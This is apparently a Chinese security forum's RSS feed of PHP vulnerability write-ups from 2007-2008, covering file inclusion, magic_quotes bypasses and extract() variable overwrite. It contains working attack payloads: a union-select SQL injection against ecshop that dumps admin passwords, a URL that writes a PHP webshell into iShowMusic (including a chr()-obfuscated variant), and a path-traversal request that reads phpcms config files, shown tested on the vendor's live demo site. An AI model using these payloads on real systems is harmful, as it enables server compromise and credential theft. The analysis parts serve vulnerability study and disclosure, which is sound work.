?>

ii)字符串转换为10进制

<?php

$a = '';     // 要转换的字符串
$l = strlen($a);
$b = '';
for ($i = 0; $i < $l; $i ++) {
        if ($i == 0)
                $b .= hexdec(bin2hex($a{$i}));
        else 
                $b .= ','.hexdec(bin2hex($a{$i}));
}
echo $b;

?>

参考:
1.Bypass Preventing CSRF: http://www.xfocus.net/articles/200801/964.html
2.XMLHttp中文参考: http://suwei.nanshapo.com/tech/webdev/ajax/xmlhttp/

]]> Mon, 03 Nov 2008 11:36:51 +0000 http://bbs.wolvez.org/topic/24/new/posts/ <![CDATA[include()本地文件包含漏洞随想]]> http://bbs.wolvez.org/topic/23/new/posts/ by Ryat
http://www.wolvez.org
2008-2-22

本地文件包含漏洞是PHP中比较常见的漏洞，像下面的代码：

include('inc/'.$_GET['a'].'/global.php');

这是个典型的文件包含漏洞，但要想包含任意文件的话需要引入NULL字符截断后面的'/global.php'，但在gpc为on的情况下null是会被转义的，这往往成了本地文件包含漏洞利用的束缚[在一些特定的情况下也可以用其他方法截断后面的代码，见：http://bbs.wolvez.org/viewtopic.php?id=22]

其实文件包含分为include()和 require()两种，先看下手册中对这两种方式区别的描述：

这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行

手册中对两种方式的区别说的很清楚，而include()的这种对待包含失败的处理方式有时会给我们在利用本地文件包含漏洞上提供一些其他的思路，看下下面的代码片断：

...
if (!empty($_COOKIE["userlanguage"]) && file_exists("lang/" . basename($_COOKIE["userlanguage"]) . "/global.php")) $language = $_COOKIE["userlanguage"];
...
include_once("lang/$language/index.php");
...
$template = preg_replace("/\{lang\s+(.+?)\}/ies", "languagevar('\\1')", $template);
...
fwrite($fp, $template);
...
function languagevar($var) {
    if(isset($GLOBALS['lang'][$var])) {
        return $GLOBALS['lang'][$var];
    } else {
        return "!$var!";
    }
}
...

简单说下代码的处理流程，程序根据浏览者选择的语言把相应的$lang写进模板缓存，当浏览者访问时直接访问模板缓存。
而这里可以通过$_COOKIE["userlanguage"]触发本地文件包含漏洞，这样提交：

../../[file][null char]/eng

通过basename()返回eng，而/lang/eng/global.php是存在的，绕过了file_exists()的检查，成功触发了本地文件包含漏洞，但这里需要GPC为OFF，因为要引入NULL字符截断后面的字符串。貌似利用很困难，但我们可以转换下思路，这里include_once()正确包含的话会包含语言文件，语言文件里面定义了$lang，这里是关键了，我们只要随便提交$_COOKIE["userlanguage"]，使include_once()无法正确包含，而前面提到include()即使包含失败，脚本依旧会向下执行，这样没有包含语言文件，$lang就是没有初始化的了，那么在register_globals为on或用了extract()的情况下，我们就可以自行提交$lang了，然后通过fwrite()写入了缓存文件:)

其实这个思路就是把include()本地文件包含漏洞转化为其他漏洞，是个典型的二次攻击:)

]]> Mon, 03 Nov 2008 11:33:06 +0000 http://bbs.wolvez.org/topic/23/new/posts/ <![CDATA[关于PHP的本地包含]]> http://bbs.wolvez.org/topic/22/new/posts/ by Ryat
http://www.wolvez.org
2007-12-17

利用本地包含时常常需要用%00来截断后面的字符串，但在GPC为ON时%00是会被转义的，那么还有其他方法么？

其实以前就有人提到过用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串，详见：http://cloie.it580.com/?p=51

文里提到只可以在WIN下利用，其实部分Linux主机下也可以，只是/的数量要更多些[要使文件路径名长度大于4096字节]，看看下面的代码片断：

<?php
$a='';
for($i=0;$i<=4071;$i++) {
    $a .= '/';
}
$a = 'test.txt'.$a;                   //完整的路径为/var/www/test/test.txt
require_once($a.'.php');
?>

在Linux环境下测试，你会发现'.php'被截断了，成功的包含了test.txt:)

]]> Mon, 03 Nov 2008 11:32:37 +0000 http://bbs.wolvez.org/topic/22/new/posts/ <![CDATA[一段代码的YY]]> http://bbs.wolvez.org/topic/21/new/posts/ by Ryat
http://www.wolvez.org
2007-10-19

$magic_quotes_gpc = get_magic_quotes_gpc();
extract(daddslashes($_COOKIE));
extract(daddslashes($_POST));
extract(daddslashes($_GET));
if(!$magic_quotes_gpc) {
    $_FILES = daddslashes($_FILES);
}
......
function daddslashes($string, $force = 0) {
    if(!$GLOBALS['magic_quotes_gpc'] || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

这段代码摘自f2blog，这里有几个有意思的地方，先看extract()，这个函数在这里是为了模拟register_globals为on，而且默认第二个参数为EXTR_OVERWRITE，也就说即使变量已经初始化，依旧被覆盖:)，get_magic_quotes_gpc()则是判断magic_quotes_gpc的设置，为on的话返回1，反之返回0，并把值附给了$magic_quotes_gpc，在daddslashes()中如果$magic_quotes_gpc为0的话就对$string执行addslashes()。

呵呵，YY开始了。如果我们运气够好得到了一个gpc为off的主机，虽然程序依旧会对我们提交的变量处理，不过不要忘了extract()和EXTR_OVERWRITE这个参数，我们可以构造$magic_quotes_gpc覆盖程序中的$magic_quotes_gpc，比如修改cookie，添加个;magic_quotes_gpc=1，这样程序中$magic_quotes_gpc的值就被覆盖为1了，那么我们的POST和GET的变量就不受daddslashes()的影响了:)

]]> Mon, 03 Nov 2008 11:28:25 +0000 http://bbs.wolvez.org/topic/21/new/posts/ <![CDATA[PHP中GPC绕过的一些总结]]> http://bbs.wolvez.org/topic/20/new/posts/ by Ryat
http://www.wolvez.org
2007-10-18

PS：PHP中绕过GPC的情况有很多，本文仅仅是总结了一些比较常见的，而且写的很浅[因为本人水平有限]，欢迎大家积极拍砖:)

1.通过数据库（文本）中转

通过数据库中转：

                                                  [注意存入数据库和select出的数据]
用户输入===>gpc\addslashes()==========>数据库=========>执行sql语句\include\写入缓存文件
                                               insert\update                 select                             
                                                 
这个问题是程序员容易忽略的，往往只是依靠gpc或addslashes函数对用户直接输入的数据进行处理，这样数据中的'"等都会被\转义，这样就能正确的执行sql语句，有效防止注入攻击了。但存入数据库的数据呢？在执行完sql语句存入数据库的是经过gpc处理前的原始数据，那么当程序再select出的就是受污染的数据了，如果把select出的数据再执行sql语句，那么就触发了sqlinj,如果直接写入缓存文件的话就有可能直接拿shell了:)

通过文本中转：

用户输入===>gpc\addslashes()===>写入文本文件===>include===>再次写入文本文件\执行sql语句

这个和通过数据库中转大致是一样的，对于写文件的操作如果处理不当是有可能被攻击者直接拿shell的，我们来看看php168的一个代码片段：

function login_logs($username,$password) {
     global $timestamp,$onlineip;
     $logdb[]="$username\t$password\t$timestamp\t$onlineip";
     @include(PHP168_PATH."cache/adminlogin_logs.php");
     $writefile="<?php \r\n";
     $jj=0;
     foreach($logdb AS $key=>$value) {
         $jj++;
         $writefile.="\$logdb[]=\"$value\";\r\n";
 
         if($jj>200) {
             break;
         }
     }
     write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
 }

php168在登录后台时如果输入的用户名或密码有误就会执行这个login_logs函数把登录者的信息记录在adminlogin_logs.php，如果用户输入的$username的数据是“";eval($_POST[cmd]); //”,前面的"被闭合了，成功的写入了shell。但如果gpc为on的话，"会被转义成\"，无法利用了。但注意这里会先包含adminlogin_logs.php，并循环数组把数据再次写入adminlogin_logs.php，要知道，这里的\仅仅是转义字符，所以include后$logdb依旧是受污染的原数据，再次写入文件时"就起作用了，成功写入了shell。

2.通过编码

UTF-7(+ACc-)===>gpc\addslashes()===>mb_convert_encoding()===>UTF-8(')

这个问题的具体例子可见：http://superhei.blogbus.com/logs/4255503.html

0xbf27===>gpc\addslashes()===>0xbf5c27===>执行sql语句[数据库编码支持多字节]

PHP里的函数大多是把字符串作为单字节进行处理的，那么如果数据库编码支持多字节呢，我们可以利用这个特性引入'，而这里，gpc不但没起作用还帮了我们的忙:)
详见：http://shiflett.org/blog/2006/jan/addsl … ape-string

用户输入(经过urlencode\rawurlencode\base64_encode等函数处理)===>gpc\addslashes()===>urldecode\rawurldecode\base64_decode等函数===>执行SQL语句\include

通过二次编码绕过gpc\addslashes，比如'的URL编码二次编码%25%27。

3.一些函数的错误处理

看看下面的函数处理的字符串：

substr($_GET['a'], 1);

假设输入的$_GET['a']为'haha，经过gpc\addslashes()会变为\'haha，再经过substr处理后又变回了'haha.

处理字符串的函数有很多，往往程序员的一个不注意就能给我们带来很多有意思的利用:)

4.字符串和数组

看看下面的代码：

$a = $_GET['a'];
echo $a[1];

输入$_GET['a']为'haha，经过gpc\addslashes()会变为\'haha，看看手册里对字符串的一段描述：

字符串中的字符可以通过在字符串之后用花括号指定所要字符从零开始的偏移量来访问和修改

这里也可以用方括号替代花括号[这是为了兼容较早的PHP版本，其实就是把字符串当数组处理的]，有了这个特性我们能做很多事啊，比如这里$a[1]的输出就是'了:)，当然具体大的利用要看具体的代码。

5.PHP自身的一些缺陷

PHP5的GPC对$_SERVER的忽略
见剑心的《PHP5绕过缺陷》：http://www.xfocus.net/articles/200608/878.html

PHP某些版本对%00的错误转义
http://www.securiteam.com/windowsntfocu … 0AC1I.html

]]> Mon, 03 Nov 2008 11:24:46 +0000 http://bbs.wolvez.org/topic/20/new/posts/ <![CDATA[从ecshop补丁里yy出来的一个有意思的注入]]> http://bbs.wolvez.org/topic/15/new/posts/ 某日无聊,在坛子乱逛。
发现ecshop发布了一个补丁比较有意思,什么说明都没有，这让我产生了好奇.决定看看这补丁是补了啥.

下载补丁和以前的没打补丁的ecshop
开始想先看看程序
没想到这文件超长..不一会就晕晕的

于是开始问问好友有什么可以比较两个文件有什么不同的工具.

一会jackal同学发了两个字母过来.

fc

靠..一问才知道原来这是windows自带文件比较工具.太孤陋寡闻了,哈哈。

fc的使用也很简单 fc /?看看

比较了一下user.php,在最后面,发现一个比较有意思的地方.复制内容到剪贴板代码:
else if ($action == 'order_query')
{
    $order_sn = empty($_GET['order_sn']) ? '' : trim(substr($_GET['order_sn'], 1));
    include_once(ROOT_PATH .'includes/cls_json.php');
    $json = new JSON();

    $result = array('error'=>0, 'message'=>'', 'content'=>'');

    if(isset($_SESSION['last_order_query']))
    {
        if(time() - $_SESSION['last_order_query'] <= 10)
        {
            $result['error'] = 1;
            $result['message'] = $_LANG['order_query_toofast'];
            die($json->encode($result));
        }
    }
    $_SESSION['last_order_query'] = time();

    if (empty($order_sn))
    {
        $result['error'] = 1;
        $result['message'] = $_LANG['invalid_order_sn'];
        die($json->encode($result));
    }

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
           " shipping_time, shipping_id, invoice_no, user_id ".
           " FROM " . $ecs->table('order_info').
           " WHERE order_sn = '$order_sn' LIMIT 1";

    $row = $db->getRow($sql);补丁里的代码是复制内容到剪贴板代码:
else if ($action == 'order_query')
{
    $_GET['order_sn'] = trim(substr($_GET['order_sn'], 1));
    $order_sn = empty($_GET['order_sn']) ? '' : addslashes($_GET['order_sn']);
    include_once(ROOT_PATH .'includes/cls_json.php');
    $json = new JSON();

    $result = array('error'=>0, 'message'=>'', 'content'=>'');

    if(isset($_SESSION['last_order_query']))
    {
        if(time() - $_SESSION['last_order_query'] <= 10)
        {
            $result['error'] = 1;
            $result['message'] = $_LANG['order_query_toofast'];
            die($json->encode($result));
        }
    }
    $_SESSION['last_order_query'] = time();

    if (empty($order_sn))
    {
        $result['error'] = 1;
        $result['message'] = $_LANG['invalid_order_sn'];
        die($json->encode($result));
    }

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
           " shipping_time, shipping_id, invoice_no, user_id ".
           " FROM " . $ecs->table('order_info').
           " WHERE order_sn = '$order_sn' LIMIT 1";

    $row = $db->getRow($sql);细心比较一下就发现不同在这里
$order_sn = empty($_GET['order_sn']) ? '' : trim(substr($_GET['order_sn'], 1));
补丁后的
    $_GET['order_sn'] = trim(substr($_GET['order_sn'], 1));
    $order_sn = empty($_GET['order_sn']) ? '' : addslashes($_GET['order_sn']);
未补丁的$order_sn是取$_GET['order_sn']的第二位和第二位以后的字符
而补丁的$order_sn在截取以后又进行了addslashes处理

为什么补丁后的代码要进行addslashes的处理呢
原理可以在hxxp://www.wolvez.org/forum/thread-36-1-1.html看到,我也就不多说了,其实我这篇文章算是为Ryat的《PHP中GPC绕过的一些总结》提供了一个实例,哈哈.

可以看到$order_sn进入了数据库查询
这样就造成了一个sql注入漏洞.

利用语句我构造了一下,可以很方便的union爆出管理员账号密码来

user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*

呵呵..完毕拉

欢迎大家多来狼族论坛逛逛哦,相信我们独特的文化魅力会给你带来惊喜的.

]]> Wed, 22 Oct 2008 16:55:27 +0000 http://bbs.wolvez.org/topic/15/new/posts/ <![CDATA[iShowMusic V1.2 直接写shell漏洞]]> http://bbs.wolvez.org/topic/14/new/posts/ By qiur3n

http://www.wolvez.org/

2008-06-17

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式，无需MYSQL数据库支持，同时程序代码与界面模板分离，方便你的音乐网站界面修改。
官方网站：http://www.ishowsky.cn

在error.php 12-26行复制内容到剪贴板代码:
elseif ($_POST['action']=="save"){
  $cknumon && GdConfirm($gdcode);
  if(empty($id)) {
    Showmsg("no","你还未选择歌曲呢!","返回重新填写","javascript:history.back(-1)"); exit;}
  elseif(empty($_POST['user'])) {
    Showmsg("no","你还没写名字呢!","返回重新填写","javascript:history.back(-1)"); exit;}
  else{
   $user=safeconvert($user);
   $line="$user|$songname|$id|$errmsg|$timestamp|\n";
   $e="$datadir/error.php";
   writetofile($e,$line,"a+");
   Showmsg("yes","提交成功，谢谢您的支持！","关闭本页","javascript:window.close()");  exit;
  }在global.php 27-34行复制内容到剪贴板代码:
foreach($_POST as $_key=>$_value){
        $_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);
        !ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
        $_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);
        !ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key];
}这段代码是允许在register_globals在off的情况下工作
程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.
导致失去了这段代码本来的作用.

function writetofile($file_name, $data, $method = "w")
{
        $filenum = fopen($file_name, $method);
        flock($filenum, LOCK_EX);
        $file_data = fwrite($filenum, $data);
        fclose($filenum);
        return $file_data;
}

这个函数也没有任何过滤就把$data写进去了,呵呵

hxxp://www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>

然后提交一下你就能获得一个shell在

hxxp://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文

件夹改名,呵呵)


刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码:
foreach($_POST as $_key=>$_value){
        $_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);
        !ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
        $_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);
        !ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key];
}呵呵..虽然我在本地本地测试的时候确实没替换.
现在修改哈Ryat提供的邪恶的shellcode..嘿嘿
hxxp://www.xxx.com/error.php?errid=1&errtitle=<?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?>
这样你在访问一次hxxp://www.xxx.com/data/error.php后将得到hxxp://www.xxx.com/data/wolvez.php的测试文件
内容为<?phpinfo():?>lol

]]> Wed, 22 Oct 2008 16:54:32 +0000 http://bbs.wolvez.org/topic/14/new/posts/ <![CDATA[一次简单的php源代码泄露漏洞发掘]]> http://bbs.wolvez.org/topic/13/new/posts/ 我们知道在asp中出现得最多的还是sql注入，不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义，所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣，我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿

这次我发掘的是phpcms2007的源代码泄露漏洞

再次向Phpcms2007的开源行为致敬！！

开始吧，

findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)

其他的文件操作函数可以自己定义查找

module\picture\show_pic.inc.php:8:readfile($file);

跟进这个文件看看吧，呵呵，比较小，我喜欢复制内容到剪贴板代码:
<?php
defined('IN_PHPCMS') or exit('Access Denied');
require PHPCMS_ROOT.'/module/'.$mod.'/include/common.inc.php';
isset($src) or exit;
$file = PHPCMS_ROOT.'/'.$PHPCMS['uploaddir'].'/'.$CHA['channeldir'].'/'.$MOD['upload_dir'].'/'.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.'/images/error.jpg';
header("Content-type:image/pjpeg");
readfile($file);
?>一路分析下。。。

先包含文件/module/'.$mod.'/include/common.inc.php

如果存在变量$src则赋予它路径并把值交给变量$file

然后就是就进入if

这里我不看其他的文件简单猜测下应该是判断url路径来源，也就是防盗链的功能

然后就header()一个图片头

呵呵，轻轻松松就readfile($file);

可以看出它没有判断$src的文件类型，如果我们提交一个src=*.php也会被readfile

好吧，在这里漏洞是出现了

不过由于“defined('IN_PHPCMS') or exit('Access Denied');”，所以我们是无法直接利用这个漏洞文件的

只能是在其他包含这个文件的php文件中利用

继续吧

findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt

picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";

进去看看复制内容到剪贴板代码:
<?php
require "./config.inc.php";
require "../include/common.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>呵呵，要是register_globals为on的话就可以直接利用这个文件读取目标文件了


那就测试吧

官方是演示站是http://demo.phpcms.cn/

那就这样构造url

/picture/show_pic.php?src=/../../../config.inc.php

嘿嘿，读取的就是网站的配置文件

直接访问http://demo.phpcms.cn//picture/s ... ./../config.inc.php

   1.jpg (40.18 KB)

2007-10-11 11:33

呵呵，猜测没错！！

那我们可以先访问http://demo.phpcms.cn/抓包

用nc发包

get选项就设置为/picture/show_pic.php?src=/../../../config.inc.php

这里我就用刺猬的一个post提交工具代替了

测试结果如图

   2.jpg (43.62 KB)

2007-10-11 11:33

ok，就分析到这里了

希望大家不要利用这个做违法的事，嘿嘿！！

]]> Wed, 22 Oct 2008 16:51:28 +0000 http://bbs.wolvez.org/topic/13/new/posts/